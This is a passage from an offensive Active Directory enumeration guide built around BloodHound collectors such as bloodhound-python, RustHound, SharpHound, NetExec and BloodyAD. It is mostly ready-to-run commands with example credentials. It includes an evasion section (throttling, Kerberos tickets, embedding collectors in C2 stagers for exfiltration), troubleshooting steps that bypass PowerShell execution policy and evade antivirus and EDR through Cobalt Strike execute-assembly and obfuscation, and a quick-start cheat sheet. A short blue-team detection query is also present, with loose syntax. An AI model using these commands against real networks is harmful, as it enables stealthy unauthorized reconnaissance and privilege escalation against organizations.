| Cleartext credentials in logs | Event logs, proxy logs | Use tickets (Kerberos) or hashes (PTH) |
| Session enumeration (SMB) | Audit SMB access | Use delegated queries or stealthy enumeration |
| SharpHound execution | .NET assembly logging, ETW | Use in-memory execution, C2 loader |
Evasion Techniques
# 1. Use legitimate accounts (not "attacker")
bloodhound-python -u service_account -p 'Pass123!' -d domain.local -dc 192.168.1.10
# 2. Throttle queries to avoid detection
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10 \
--throttle 500 # 500ms delay between queries
# 3. Use Kerberos tickets (less suspicious than password)
export KRB5CCNAME=/tmp/attacker.ccache
bloodhound-python -u attacker -d domain.local -dc 192.168.1.10 -k
# 4. Use native Windows tools (less tooling indicators)
# PowerShell + AD Module (installed by default on servers)
# 5. Distribute collection over time (loop mode)
./rusthound -d domain.local -u attacker -p 'Pass123!' --dc 192.168.1.10 \
-o /tmp/bh/ --loop --loopdelay 3600 # Run every hour
# 6. Collect only specific data (reduce footprint)
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10 \
-c User,Computer,Group,ACL # Skip LocalAdmin, Session for stealth
# 7. Use DNS-based collection (if available)
bloodhound-python -u attacker -p 'Pass123!' -d domain.local --use-dns
# 8. Via C2 channels (Cobalt Strike, Sliver, etc.)
# Embed collection tools in C2 stagers for encrypted exfil
Blue Team Detection Rules
-- SQL query for BloodHound-python detection (logs)
SELECT * FROM logs
WHERE
(user_agent LIKE '%bloodhound%') OR
(query_volume > 1000 AND source_ip = attacker_ip) OR
(ldap_bind_count > 500 IN 5_minutes) OR
(tool_name LIKE '%rusthound%' OR '%SharpHound%')
-- Windows Event Log correlation
-- Event ID 4625 (Failed Logins) + 4624 (Successful Logins) pattern matching
-- Event ID 4688 (Process Creation) with PowerShell + Get-ADUser
14. Troubleshooting & Edge Cases
Issue 1: "Cannot bind to LDAP server"
# Cause: DC unreachable or incorrect address
# Solution: Verify DC IP and connectivity
nslookup domain.local
nslookup -type=SRV _ldap._tcp.dc._msdcs.domain.local
# Specify correct DC
bloodhound-python -u attacker -p 'Pass123!' -d domain.local --dc <CORRECT_DC_IP>
# Test LDAP connectivity
ldapsearch -H ldap://<DC_IP>:389 -x -s base namingContexts
Issue 2: "Access Denied" or "Insufficient Privileges"
# Cause: Low-privilege account, insufficient LDAP bind
# Solution: Use admin account or delegated permissions
# Try with admin
bloodhound-python -u 'domain\admin' -p 'AdminPass!' -d domain.local -dc 192.168.1.10
# Check if account has "Replicate Directory Changes" permission (DCSync-equivalent for LDAP)
bloodyad -u admin -p 'AdminPass!' -d domain.local --host 192.168.1.10 \
get acl "DC=domain,DC=local" | grep -i "replicat"
Issue 3: Slow Enumeration
# Cause: Throttling, single-threaded, or network latency
# Solution: Increase threads/concurrency
# Rusthound with threads
./rusthound -d domain.local -u attacker -p 'Pass123!' --dc 192.168.1.10 \
-t 20 # 20 threads
# SharpHound with max threads
.\SharpHound.exe -c All -d domain.local --maxthreads 50
# bloodhound-python (limited threading, use multiple instances)
# Run collection for different objects in parallel
for obj_type in User Computer Group ACL; do
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10 \
-c $obj_type &
done
Issue 4: Missing ACL Data
# Cause: Insufficient privileges, DC doesn't expose ACL to this account
# Solution: Use admin account or targeted ACL queries
# Try with higher privileges
bloodhound-python -u 'domain\admin' -p 'AdminPass!' -d domain.local -dc 192.168.1.10 \
-c ACL
# Manually query ACLs
bloodyad -u attacker -p 'Pass123!' -d domain.local --host 192.168.1.10 \
get acl "CN=Domain Admins,CN=Users,DC=domain,DC=local"
# ACL might only be visible to object owner or SYSTEM
Issue 5: Cross-Domain Collection Fails
# Cause: No trust relationship or insufficient trust permissions
# Solution: Use Global Catalog or specific trust credentials
# Use Global Catalog (if available)
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10 \
--use-gc
# Or collect each domain separately
for domain in domain1.local domain2.local; do
bloodhound-python -u "attacker@$domain" -p 'Pass123!' -d $domain -dc $(dig +short $domain SRV | head -1)
done
Issue 6: Session Data Empty
# Cause: Session enumeration requires admin or network access
# Solution: Use admin credentials or alternate method
# Ensure admin access
nxc smb 192.168.1.0/24 -u admin -p 'AdminPass!' -d domain.local \
-M enum_sessions
# Verify network connectivity
ping -c 1 192.168.1.50 # Target computer
# Use LocalAdmin collection instead
bloodhound-python -u admin -p 'AdminPass!' -d domain.local -dc 192.168.1.10 \
-c LocalAdmin
Issue 7: SharpHound Won't Execute on Windows
# Cause: .NET runtime, Execution Policy, or file blocking
# Solution: Bypass restrictions
# Check .NET version
dotnet --version
# Bypass execution policy
powershell -ExecutionPolicy Bypass -File SharpHound.ps1 -c All
# Use DotNetToJScript loader (in-memory)
# Or use Cobalt Strike's execute-assembly
# Unblock file (if blocked by Zone.Identifier)
Unblock-File -Path .\SharpHound.exe
.\SharpHound.exe -c All
Issue 8: BloodHound GUI Won't Import Data
# Cause: Corrupted JSON, incompatible format, or import directory issue
# Solution: Validate JSON and correct format
# Validate JSON
python3 -m json.tool /tmp/bh_output/users_*.json > /dev/null
# Check format (bloodhound-python should produce correct format)
# If using manual collection, ensure JSON structure matches BloodHound schema
# Re-export with bloodhound-python
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10 \
-c All --zip # Zip format is most compatible
# Import via GUI: Upload → Select ZIP → Import
Issue 9: "Domain Not Found"
# Cause: DNS resolution failure or typo
# Solution: Verify domain name and DNS
# Check DNS
nslookup domain.local
# Try FQDN
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10
# Or use IP if DNS fails
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10
# Specify DC explicitly
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc dc1.domain.local
Issue 10: C# SharpHound Detection/Blocking
# Cause: Antivirus, EDR, or behavioral detection
# Solution: In-memory execution, obfuscation, or alternative tools
# Use Cobalt Strike's execute-assembly (in-memory)
beacon> execute-assembly SharpHound.exe -c All
# Use PowerShell in-memory
beacon> powershell .\Invoke-SharpHound.ps1 -c All
# Use alternative: bloodhound-python (not compiled .NET)
python3 -c "exec(open('bloodhound-python').read())"
# Obfuscate using Invoke-Obfuscation
Invoke-Obfuscation -Path ./SharpHound.ps1 -Obfuscation Variable
# Use native tools (PowerShell + AD Module, no .NET assembly indicators)
Comparison Matrix
| Tool | Speed | Stealth | Coverage | Dependencies | Best For |
|---|---|---|---|---|---|
| bloodhound-python | Fast | Medium | Complete | Python 3.6+ | Initial recon, complete enum |
| NetExec | Fast | Medium | Good | Python 3.6+ | Multi-protocol, modules |
| BloodyAD | Medium | High | Selective | Python 3.6+ | Targeted LDAP queries |
| Rusthound | Very Fast | High | Complete | None (binary) | Speed, C2 environments |
| SharpHound | Fast | Low | Complete | .NET, Windows | Full details, Windows native |
| PowerShell AD Module | Medium | Low | Good | Windows, RSAT | Legitimate admin work |
| ADSI LDAP | Medium | Medium | Complete | Windows/.NET | Low-signature collection |
| dsquery | Slow | High | Partial | Windows native | Stealth, native tools |
| WMI | Medium | Medium | Partial | Windows native | System info, local data |
Quick Reference Cheat Sheet
Get Started Immediately
# 1. Fastest complete collection
./rusthound -d domain.local -u attacker -p 'Pass123!' --dc 192.168.1.10 -o /tmp/bh/ --zip
# 2. Python alternative
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10 -c All --zip
# 3. Multi-protocol with NetExec
nxc smb 192.168.1.10 -u attacker -p 'Pass123!' -d domain.local -M bloodhound
# 4. Stealthy LDAP
bloodyad -u attacker -p 'Pass123!' -d domain.local --host 192.168.1.10 \
get object \* --filter '(|(objectClass=user)(objectClass=computer)(objectClass=group))'
# 5. Native PowerShell (no external tools)
Get-ADUser -Filter * | Export-Csv users.csv
Get-ADComputer -Filter * | Export-Csv computers.csv
Get-ADGroup -Filter * | Export-Csv groups.csv
Import to BloodHound
# Move JSON files to import directory
cp /tmp/bh_output/*.json ~/.config/bloodhound/
# Or import ZIP via GUI: Upload → Select ZIP → Import
# Then query:
# "Shortest paths to Domain Admin"
# "Find all ACLs"
# "Find Kerberoastable users"
References & Tools
| Tool | URL | Type |
|---|---|---|
| BloodHound | https://github.com/BloodHoundAD/BloodHound | GUI |
| bloodhound-python | https://github.com/dirkjanm/BloodHound.py | Python injector |
| Rusthound | https://github.com/NH-RED-TEAM/RustHound | Rust injector |
| SharpHound | https://github.com/BloodHoundAD/SharpHound | C# injector |
| NetExec | https://github.com/Pennyw0rth/NetExec | Multi-protocol |
| CrackMapExec | https://github.com/byt3bl33d3r/CrackMapExec | Multi-protocol (legacy) |
| BloodyAD | https://github.com/CroweCybersecurity/BloodyAD | LDAP queries |
| Impacket | https://github.com/fortra/impacket | Python toolkit |
| PowerSploit | https://github.com/PowerShellMafia/PowerSploit | PowerShell module |